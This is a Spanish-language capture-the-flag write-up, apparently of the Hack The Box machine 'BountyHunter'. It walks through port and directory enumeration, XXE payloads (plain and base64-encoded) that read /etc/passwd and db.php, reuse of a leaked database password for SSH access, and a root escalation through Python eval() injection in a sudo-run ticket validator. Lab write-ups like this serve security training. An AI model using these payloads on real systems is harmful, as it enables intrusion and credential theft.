Bug Bounty Hunter
Enumeración
- Nmap detecta puertos abiertos: SSH (22) y Apache2 (80).
└──╼ [★]$ nmap -sS -Pn -p- 10.129.95.166Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 12:59 CDTNmap scan report for 10.129.95.166Host is up (0.0082s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open http
Empezamos la exploración manual a la vez que lanzamos un dirsearch para tener unos primeros resultados.
Cosas que encontramos y que pueden ser útiles para constuir un diccionario de passwords/ususarios.
- The B Team.
- Copyright © John 2020
Dirección: 1019 Skytrain Way Vancouver, BC V4A1E4 Around the Web Coming Soon
Además, tenemos un acceso a un portal que nos dice esta en desarrollo: http://10.129.95.166/portal.php
Y un enlace a una herramienta para reportar vulnerabilidades en fase BETA. http://10.129.95.166/log_submit.php
Lo normal sería pensar que esta parte se debe de poder explotar.
Una primera exploración con GOBUSTER nos revela algunos directorios, el siguiente es listable: /resources
Este tiene varios recursos javascript y css que podemos analizar, pero además, tenemos un archivo readme con una, digamos, lista de tareas:
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.[X] Write tracker submit script[ ] Connect tracker submit script to the database[X] Fix developer group permissions
El primer punto esta claro, todo parece indicar que deberíamos poder acceder al portal con la cuenta test sin contraseña: [ ] Desactivar la cuenta ‘test’ en el portal y cambiar a contraseña cifrada. Desactivar el acceso sin contraseña.
Además, falta corregir el script que envia los reportes a la herramienta de tracking.
En el portal no encontramos login alguno, tampoco lo hemos encontrado en los escaneos.
Lanzamos un ultimo gobuster con un diccionario de archivos habituales en .php y nos vamos a inspeccionar la herramienta de reportes.
gobuster dir -u http://10.129.95.166 -w /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt/index.php (Status: 200) [Size: 25169]/db.php (Status: 200) [Size: 0]/portal.php (Status: 200) [Size: 125]Progress: 5163 / 5164 (99.98%)
Al cargar con burp la pagina de /log_submit.php vemos qaue se llama un script llamado bountylog.js que tiene este código:
function returnSecret(data) { return Promise.resolve($.ajax({ type: "POST", data: {"data":data}, url: "tracker_diRbPr00f314.php" }));}
async function bountySubmit() { try { var xml = `<?xml version="1.0" encoding="ISO-8859-1"?> <bugreport> <title>${$('#exploitTitle').val()}</title> <cwe>${$('#cwe').val()}</cwe> <cvss>${$('#cvss').val()}</cvss> <reward>${$('#reward').val()}</reward> </bugreport>` let data = await returnSecret(btoa(xml)); $("#return").html(data) } catch(error) { console.log('Error:', error); }}
Vemos que lo que hace es coger los datos del formulario y enviarlos a la url tracker_diRbPr00f314.php codigicando los datos en base64.
Vamos a explicar mejor el proceso:
Formulario HTML ─┐ │─► Crea XML con datos del formulario │─► Codifica XML en Base64 │─► Envía AJAX POST a "tracker_diRbPr00f314.php" │─► Recibe respuesta del servidor └─► Muestra resultado en elemento "#return"
Visto todo ello, vamos a probar de conseguir una inyección xml.
Si visitamos el arhivo tracker_diRbPr00f314.php nos lanza este texto.
If DB were ready, would have added:Title:CWE:Score:Reward:
De hecho, es el texto que nos devuelve la función de javascript ya rellena con nuestros datos.
El envio por post se efectua con los siguientes datos:
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5URVNUMzM8L3RpdGxlPgoJCTxjd2U%2BMjAyNS0wNTwvY3dlPgoJCTxjdnNzPjk8L2N2c3M%2BCgkJPHJld2FyZD4xMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
Ya en Brup vemos que descodificada esta cadena es esto:
<?xml version="1.0" encoding="ISO-8859-1"?> <bugreport> <title>TEST33</title> <cwe>2025-05</cwe> <cvss>9</cvss> <reward>10</reward> </bugreport>
Para llegar a esto, primero debemos hacer un URL DECODE, basicamente es por los carácteres del final %3D%3D. Despues decofificamos en base64.
Bueno, pues tratemos de crear ahora un payload. Una de las cosas que podemos hacer es tratar de leer algún archivo, por ejemplo, el que hemos visto antes: db.php
Preparamos el payload. Ya que con el plugin de wapalyzer ya vimos que es un ubuntu con apache, probaremos esto:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE data [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]> <bugreport> <title>Error Test</title> <cwe>2024-05</cwe> <cvss>9</cvss> <reward>&file</reward> </bugreport>´´´Y también esto:
´´´<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd"> ]> <bugreport> <title>Error Test</title> <cwe>2024-05</cwe> <cvss>9</cvss> <reward>&file</reward> </bugreport>´´´
CODIFICADOS:
´´´textPD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZGIucGhwIj4gXT4KPGJ1Z3JlcG9ydD4KPHRpdGxlPkVycm9yIFRlc3Q8L3RpdGxlPgo8Y3dlPjIwMjQtMDU8L2N3ZT4KPGN2c3M%2BOTwvY3Zzcz4KPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2B´´´
´´´textPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgZGF0YSBbCjwhRU5USVRZIGZpbGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPiBdPgo8YnVncmVwb3J0PgogICAgPHRpdGxlPkVycm9yIFRlc3Q8L3RpdGxlPgogICAgPGN3ZT4yMDI0LTA1PC9jd2U%2BCiAgICA8Y3Zzcz45PC9jdnNzPgogICAgPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2B
Resultados
´´ṕhp
Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "m19RoAU0hP41A1sTsq6K"; $testuser = "test"; ?>```htmlHTTP/1.1 200 OKDate: Fri, 21 Mar 2025 20:03:10 GMTServer: Apache/2.4.41 (Ubuntu)Vary: Accept-EncodingContent-Length: 2108Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
If DB were ready, would have added:<table> <tr> <td>Title:</td> <td>Error Test</td> </tr> <tr> <td>CWE:</td> <td>2024-05</td> </tr> <tr> <td>Score:</td> <td>9</td> </tr> <tr> <td>Reward:</td> <td>root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:106::/nonexistent:/usr/sbin/nologinsyslog:x:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534::/nonexistent:/usr/sbin/nologintss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/falseuuidd:x:107:112::/run/uuidd:/usr/sbin/nologintcpdump:x:108:113::/nonexistent:/usr/sbin/nologinlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falsesshd:x:111:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologindevelopment:x:1000:1000:Development:/home/development:/bin/bashlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/falseusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin</td> </tr></table>
SPRAYING PASSWORD
Ya tenemos un password que podemos probar y una lista de usuarios del sistema, así que vamos probando y conseguimos entrar con uno de ellos y capturar nuestro primer flag.
La nota.
En el hombe encontramos esta nota:
Hola equipo,
Estaré fuera de la oficina esta semana, pero por favor asegúrense de que nuestro contrato con Skytrain Inc. quede terminado.
Este es nuestro primer trabajo desde el incidente "rm -rf", así que no podemos cometer errores. Cuando alguno de ustedes pueda, revisen la herramienta interna que nos enviaron. Ha habido varios tickets enviados que no han pasado la validación, y necesito que averigüen por qué.
Ya configuré los permisos para que puedan hacer las pruebas. Buena suerte.
-- John
Parece ser pues, que John ha dado permisos a cierta herramienta de Skytrain, a ver si damos con ella.
Tambien nos habla de nuestros permisos, así que miremos:
development@bountyhunter:/opt/skytrain_inc$ sudo -lMatching Defaults entries for development on bountyhunter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
O sea, podemos usar /usr/bin/python3.8 y parece que hemos encontrado el el archivo. Veamos su contenido.
#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc): if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit()
def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0: if not x.startswith("# Skytrain Inc"): return False continue if i == 1: if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue
if x.startswith("__Ticket Code:__"): code_line = i+1 continue
if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False return False
def main(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close
main()
Este código es un sistema simple en Python que verifica la validez de archivos de tickets para la empresa Skytrain Inc.
Explicación paso a paso:
① Función load_file(loc)
:
- Recibe una ruta de archivo como parámetro (
loc
). - Comprueba si la ruta termina con la extensión
.md
(archivo Markdown). - Si es correcto (
.md
), abre y retorna el archivo en modo lectura. - Si no, muestra
"Wrong file type."
y termina la ejecución.
② Función evaluate(ticketFile)
:
- Lee el archivo línea por línea comprobando las siguientes reglas:
Línea | Regla | Condición |
---|---|---|
0 | Debe comenzar con # Skytrain Inc . | x.startswith("# Skytrain Inc") |
1 | Debe comenzar con ## Ticket to <Destino> (imprime destino). | x.startswith("## Ticket to ") |
N | Busca línea que comience con __Ticket Code:__ | Guarda la siguiente línea (N+1). |
N+1 | Debe comenzar con ** . Extrae código y valida: | x.startswith("**") |
Validación específica en la línea (N+1):
- Toma la línea (ej:
**123+456**
), elimina**
, y extrae el número antes del+
. - El primer número (antes del signo
+
) debe cumplir:- Al dividirlo por
7
, debe tener un residuo igual a4
.
- Al dividirlo por
- Luego evalúa (
eval()
) la expresión completa sin los**
. El resultado debe ser mayor a100
.
Si cumple ambas condiciones, el ticket es válido. En caso contrario, no lo es.
③ Función main()
:
- Solicita al usuario introducir la ruta del archivo del ticket.
- Carga el archivo mediante la función
load_file()
. - Evalúa el archivo con la función
evaluate()
. - Imprime
"Valid ticket."
si el resultado esTrue
o"Invalid ticket."
si el resultado esFalse
.
Ejemplo de un ticket válido (ticket.md
):
# Skytrain Inc## Ticket to Madrid__Ticket Code:__**11+100**
- Aquí,
11 % 7 = 4
✅ eval("11+100") = 111 > 100
✅
Este ticket sería válido.
Posibles vulnerabilidades (seguridad):
El uso del comando eval()
sobre datos no validados es peligroso, ya que permite la ejecución arbitraria de código si un atacante puede controlar el contenido del archivo de ticket.
Ejemplo de explotación:
# Skytrain Inc## Ticket to Madrid__Ticket Code:__**11+100+__import__('os').system('id')**
Esto ejecutaría el comando id
en el servidor, generando una vulnerabilidad de ejecución remota de comandos (RCE).
Para ganar el root usaríamos:
# Skytrain Inc## Ticket to Madrid__Ticket Code:__**11+100+__import__('os').system('/bin/bash')**
Entonces, se crea un archivo con dicho contenido y se ejecuta con: sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Y Pwned